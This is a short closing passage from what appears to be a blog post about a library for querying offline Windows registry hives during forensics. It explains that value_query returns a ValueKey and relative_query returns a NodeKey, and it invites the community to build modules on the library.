The value_query method of the hive returns a ValueKey. The relative_query method returns a NodeKey. Performing a relative_query on a value's path rather than a node's path will return the value's parent node.


As you can see, the library is quite powerful. It gives you a lot of control over your offline hives when performing forensics or IG. There is a lot of work to be done, with write support in the future very possible. I look forward to seeing what cool modules the community can cook up that utilizes the library. Be sure to update the framework to its latest version to ensure you have the most up to date library to play with.

Filter Blog

By date: By tag: